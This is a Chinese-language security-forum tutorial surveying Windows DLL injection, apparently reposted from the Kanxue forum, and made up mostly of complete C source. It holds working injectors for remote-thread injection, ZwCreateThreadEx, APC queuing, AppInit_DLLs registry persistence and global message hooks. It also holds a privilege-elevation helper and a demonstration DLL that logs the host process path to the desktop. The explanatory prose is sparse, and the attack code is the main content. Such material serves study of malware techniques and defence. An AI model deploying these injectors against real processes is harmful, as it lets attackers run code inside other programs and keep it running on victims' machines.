其他
常见的几种DLL注入技术
看雪论坛作者ID:1900
1
简介
ul_reason_for_call的值 | 代表的状态 |
DLL_PROCESS_ATTACH | Dll刚刚映射到进程空间中 |
DLL_THREAD_ATTACH | 进程中有新线程创建 |
DLL_THREAD_DETACH | 进程中有新线程销毁 |
Dll从进程空间中接触映射 |
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
#define FILE_NAME "result.txt"
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
HANDLE hFile = NULL;
CHAR szDesktopFile[MAX_PATH] = { 0 }; //保存系统桌面路径
CHAR szFullFilePath[MAX_PATH] = { 0 }; //保存完成的加载DLL文件的文件路径
DWORD dwRetLen = 0, dwFileLen = 0;
BOOL bRet = TRUE;
//获取桌面路径
bRet = SHGetSpecialFolderPath(NULL, szDesktopFile, CSIDL_DESKTOP, TRUE);
if (bRet)
{
strcat(szDesktopFile, "\\");
strcat(szDesktopFile, FILE_NAME);
while (TRUE)
{
hFile = CreateFile( szDesktopFile,
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) //打开文件错误
{
if (GetLastError() == 32) //错误码是不是其他进程正在使用这个文件,是的话等待一会在继续打开
{
Sleep(200);
continue;
}
else break;
}
else
{
GetModuleFileName(NULL, szFullFilePath, MAX_PATH); //获取加载DLL的进程的完整路径
dwFileLen = strlen(szFullFilePath);
szFullFilePath[dwFileLen] = '\r'; //由于是在WIN7运行,换行符是\r\n
szFullFilePath[dwFileLen + 1] = '\n';
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, szFullFilePath, dwFileLen + 2, &dwRetLen, NULL);
if (hFile) CloseHandle(hFile);
break;
}
}
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
if (hThread) CloseHandle(hThread);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
2
代码框架
#include <cstdio>
#include <Windows.h>
#include <TlHelp32.h>
#define PROCESS_NAME "taskmgr.exe" //要注入的进程名,这个是任务管理器的进程名
#define DLL_NAME "InjectDll.dll" //要注入的DLL的名称
BOOL InjectDll(DWORD dwPid, CHAR szDllName[]); //注入DLL
DWORD GetPID(PCHAR pProName); //根据进程名获取PID
VOID ShowError(PCHAR msg); //打印错误信息
BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName); //提升进程权限
int main()
{
CHAR szDllPath[MAX_PATH] = { 0 }; //保存要注入的DLL的路径
DWORD dwPID = 0; //保存要注入的进程的PID
// 提升当前进程令牌权限
if (!EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME))
{
printf("权限提升失败\n");
}
dwPID = GetPID(PROCESS_NAME);
if (dwPID == 0)
{
printf("没有找到要注入的进程\n");
goto exit;
}
GetCurrentDirectory(MAX_PATH, szDllPath); //获取程序的目录
strcat(szDllPath, "\\");
strcat(szDllPath, DLL_NAME); //与DLL名字拼接得到DLL的完整路径
printf("要注入的进程名:%s PID:%d\n", PROCESS_NAME, dwPID);
printf("要注入的DLL的完整路径%s\n", szDllPath);
if (InjectDll(dwPID, szDllPath))
{
printf("Dll注入成功\n");
}
exit:
system("pause");
return 0;
}
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
return bRet;
}
DWORD GetPID(PCHAR pProName)
{
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bRet = FALSE;
DWORD dwPID = 0;
if (hSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
goto exit;
}
pe32.dwSize = sizeof(pe32);
bRet = Process32First(hSnap, &pe32);
while (bRet)
{
if (lstrcmp(pe32.szExeFile, pProName) == 0)
{
dwPID = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hSnap, &pe32);
}
CloseHandle(hSnap);
exit:
return dwPID;
}
VOID ShowError(PCHAR msg)
{
printf("%s Error %d\n", msg, GetLastError());
}
BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken))
{
ShowError("OpenProcessToken");
goto exit;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
if (!LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue))
{
ShowError("LookupPrivilegeValue");
goto exit;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL))
{
ShowError("AdjustTokenPrivileges");
goto exit;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
bRet = TRUE;
goto exit;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
ShowError("ERROR_NOT_ALL_ASSIGNED");
goto exit;
}
}
exit:
return bRet;
}
3
远程线程注入
HANDLE WINAPI CreateRemoteThread(
__in HANDLE hProcess,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out LPDWORD lpThreadId);
参数 | 说明 |
hProcess | 要创建线程的进程句柄 |
lpThreadAttributes | 新线程的安全描述符 |
dwStackSize | 堆栈起始大小,为0表示默认大小 |
lpStartAddress | 表示要运行线程的起始地址 |
lpParameter | 保存要传递给线程参数的地址 |
dwCreationFlags | 控制线程创建的标志,为0表示创建后立即执行 |
lpThreadId | 指向接收线程标识符变量的指针。为NULL表示不返回线程标识符 |
(1)hProcess用来指定在哪个进程中创建新线程。
(2)lpStartAddress用来指定将进程中的哪个地址开始作为新线程运行的起始地址。
(3)lpParameter保存的也是一个地址,这个地址中保存的就是新线程要用到的参数。
HMODULE WINAPI LoadLibrary(__in LPCTSTR lpFileName);
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
HANDLE hProcess = NULL, hRemoteThread = NULL;
HMODULE hKernel32 = NULL;
DWORD dwSize = 0;
LPVOID pDllPathAddr = NULL;
PVOID pLoadLibraryAddr = NULL;
// 打开注入进程,获取进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
goto exit;
}
// 在注入进程中申请可以容纳DLL完成路径名的内存空间
dwSize = 1 + strlen(szDllName);
pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (!pDllPathAddr)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
goto exit;
}
// 把DLL完整路径名写入进程中
if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
bRet = FALSE;
goto exit;
}
hKernel32 = LoadLibrary("kernel32.dll");
if (hKernel32 == NULL)
{
ShowError("LoadLibrary");
bRet = FALSE;
goto exit;
}
// 获取LoadLibraryA函数地址
pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
if (pLoadLibraryAddr == NULL)
{
ShowError("GetProcAddress ");
bRet = FALSE;
goto exit;
}
//创建远程线程进行DLL注入
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibraryAddr,
pDllPathAddr, 0, NULL);
if (hRemoteThread == NULL)
{
ShowError("CreateRemoteThread");
bRet = FALSE;
goto exit;
}
exit:
if (hKernel32) FreeLibrary(hKernel32);
if (hProcess) CloseHandle(hProcess);
if (hRemoteThread) CloseHandle(hRemoteThread);
return bRet;
}
4
加强版远程线程注入
typedef DWORD(WINAPI *pFnZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
typedef DWORD(WINAPI *pFnZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
typedef DWORD(WINAPI *pFnZwCreateThreadEx)(PHANDLE, ACCESS_MASK, LPVOID,
HANDLE, LPTHREAD_START_ROUTINE,
LPVOID, BOOL, DWORD, DWORD, DWORD, LPVOID);
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
HANDLE hProcess = NULL, hRemoteThread = NULL;
HMODULE hKernel32 = NULL, hNtDll = NULL;
DWORD dwSize = 0;
LPVOID pDllPathAddr = NULL;
PVOID pLoadLibraryAddr = NULL;
pFnZwCreateThreadEx ZwCreateThreadEx = NULL;
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
goto exit;
}
// 在注入进程中申请可以容纳DLL完成路径名的内存空间
dwSize = 1 + strlen(szDllName);
pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (!pDllPathAddr)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
goto exit;
}
// 把DLL完成路径名写入进程中
if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
bRet = FALSE;
goto exit;
}
hKernel32 = LoadLibrary("kernel32.dll");
if (hKernel32 == NULL)
{
ShowError("LoadLibrary kernel32");
bRet = FALSE;
goto exit;
}
// 获取LoadLibraryA函数地址
pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
if (pLoadLibraryAddr == NULL)
{
ShowError("GetProcAddress LoadLibraryA");
bRet = FALSE;
goto exit;
}
hNtDll = LoadLibrary("ntdll.dll");
if (hNtDll == NULL)
{
ShowError("LoadLibrary ntdll");
bRet = FALSE;
goto exit;
}
ZwCreateThreadEx = (pFnZwCreateThreadEx)GetProcAddress(hNtDll, "ZwCreateThreadEx");
if (!ZwCreateThreadEx)
{
ShowError("GetProcAddress ZwCreateThreadEx");
bRet = FALSE;
goto exit;
}
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL,
hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryAddr,
pDllPathAddr, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
ShowError("ZwCreateThreadEx");
bRet = FALSE;
goto exit;
}
exit:
if (hKernel32) FreeLibrary(hKernel32);
if (hNtDll) FreeLibrary(hNtDll);
if (hProcess) CloseHandle(hProcess);
if (hRemoteThread) CloseHandle(hRemoteThread);
return bRet;
}
5
APC注入
DWORD WINAPI QueueUserAPC(
__in PAPCFUNC pfnAPC,
__in HANDLE hThread,
__in ULONG_PTR dwData);
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
HANDLE hProcess = NULL, hThread = NULL, hSnap = NULL;
HMODULE hKernel32 = NULL;
DWORD dwSize = 0;
PVOID pDllPathAddr = NULL;
PVOID pLoadLibraryAddr = NULL;
THREADENTRY32 te32 = { 0 };
// 打开注入进程,获取进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
goto exit;
}
// 在注入进程中申请可以容纳DLL完成路径名的内存空间
dwSize = 1 + strlen(szDllName);
pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (!pDllPathAddr)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
goto exit;
}
// 把DLL完成路径名写入进程中
if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
bRet = FALSE;
goto exit;
}
hKernel32 = LoadLibrary("kernel32.dll");
if (hKernel32 == NULL)
{
ShowError("LoadLibrary");
bRet = FALSE;
goto exit;
}
// 获取LoadLibraryA函数地址
pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
if (pLoadLibraryAddr == NULL)
{
ShowError("GetProcAddress");
bRet = FALSE;
goto exit;
}
//获得线程快照
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (!hSnap)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
goto exit;
}
//遍历线程
te32.dwSize = sizeof(te32);
if (Thread32First(hSnap, &te32))
{
do
{
//这个线程的进程ID是不是要注入的进程的PID
if (te32.th32OwnerProcessID == dwPid)
{
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (hThread)
{
QueueUserAPC((PAPCFUNC)pLoadLibraryAddr, hThread, (ULONG_PTR)pDllPathAddr);
CloseHandle(hThread);
hThread = NULL;
}
else
{
ShowError("OpenThread");
bRet = FALSE;
goto exit;
}
}
} while (Thread32Next(hSnap, &te32));
}
exit:
if (hKernel32) FreeLibrary(hKernel32);
if (hProcess) CloseHandle(hProcess);
if (hThread) CloseHandle(hThread);
return bRet;
}
6
AppInit_DLLs注入
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
HKEY hKey = NULL;
CHAR szAppKeyName[] = { "AppInit_DLLs" };
CHAR szLoadAppKeyName[] = { "LoadAppInit_DLLs" };
DWORD dwLoadAppInit = 1; //设置LoadAppInit_DLLs的值
//打开相应注册表键
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
{
ShowError("RegOpenKeyEx");
bRet = FALSE;
goto exit;
}
//设置AppInit_DLLs为相应的DLL路径
if (RegSetValueEx(hKey, szAppKeyName, 0, REG_SZ, (PBYTE)szDllName, strlen(szDllName) + 1) != ERROR_SUCCESS)
{
ShowError("RegSetValueEx");
bRet = FALSE;
goto exit;
}
//将LoadAppInit_DLLs的值设为1
if (RegSetValueEx(hKey, szLoadAppKeyName, 0, REG_DWORD, (PBYTE)&dwLoadAppInit, sizeof(dwLoadAppInit)) != ERROR_SUCCESS)
{
ShowError("RegSetValueEx");
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
7
全局钩子注入
HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
extern HMODULE g_hDllModule;
// 设置全局钩子
BOOL SetGlobalHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (NULL == g_hHook)
{
return FALSE;
}
return TRUE;
}
// 钩子回调函数
LRESULT GetMsgProc(
int code,
WPARAM wParam,
LPARAM lParam)
{
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 卸载钩子
BOOL UnSetGlobalHook()
{
if (g_hHook)
{
UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
HMODULE hDll = NULL;
pFnSetGlobalHook SetGlobalHook = NULL;
pFnUnSetGlobalHook UnSetGlobalHook = NULL;
hDll = LoadLibrary(szDllName);
if (hDll == NULL)
{
ShowError("LoadLibrary");
bRet = FALSE;
goto exit;
}
SetGlobalHook = (pFnSetGlobalHook)GetProcAddress(hDll, "SetGlobalHook");
if (SetGlobalHook == NULL)
{
ShowError("GetProcAddress SetGlobalHook");
bRet = FALSE;
goto exit;
}
if (!SetGlobalHook())
{
printf("钩子安装失败\n");
bRet = FALSE;
goto exit;
}
printf("钩子安装成功,按回车卸载钩子\n");
system("pause");
UnSetGlobalHook = (pFnUnSetGlobalHook)GetProcAddress(hDll, "UnSetGlobalHook");
if (UnSetGlobalHook == NULL)
{
ShowError("GetProcAddress UnSetGlobalHook");
bRet = FALSE;
goto exit;
}
if (UnSetGlobalHook())
{
printf("已将全局钩子卸载\n");
}
exit:
return bRet;
}
8
实验结果
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
5.进程隐藏技术
球分享
球点赞
球在看
点击“阅读原文”,了解更多!